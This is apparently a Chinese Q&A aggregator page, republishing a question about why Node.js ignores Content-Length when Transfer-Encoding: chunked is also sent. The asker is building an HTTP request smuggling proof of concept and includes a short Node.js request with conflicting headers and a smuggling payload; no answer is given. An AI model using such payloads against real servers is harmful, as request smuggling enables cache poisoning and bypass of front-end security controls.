为什么在Transfer-Encoding:分块标题存在时,Node.js忽略Content-Length标题?

问题描述

我正在http-request-smuggling的POC上工作,前端服务器使用Content-Length标头,后端服务器使用transfer-encoding标头。

但是当请求标头中同时存在两个Content-Length & transfer-encoding: chunked标头时,Node.js会忽略Content-Length标头,因此响应为500 Internal Server Error。

const request = require('request');

const header = {
      'Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded','Content-Length': 6,'transfer-encoding': 'chunked'
}

var payload = `\r\n0\r\n\r\nQ`;

request.post({
   headers: header,url: url,body: payload
},function (error,response,body) {
    console.log(body);
});

响应-500内部服务器错误

Node.js是否存在任何问题,能否让我知道如何使此POC正常工作?

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)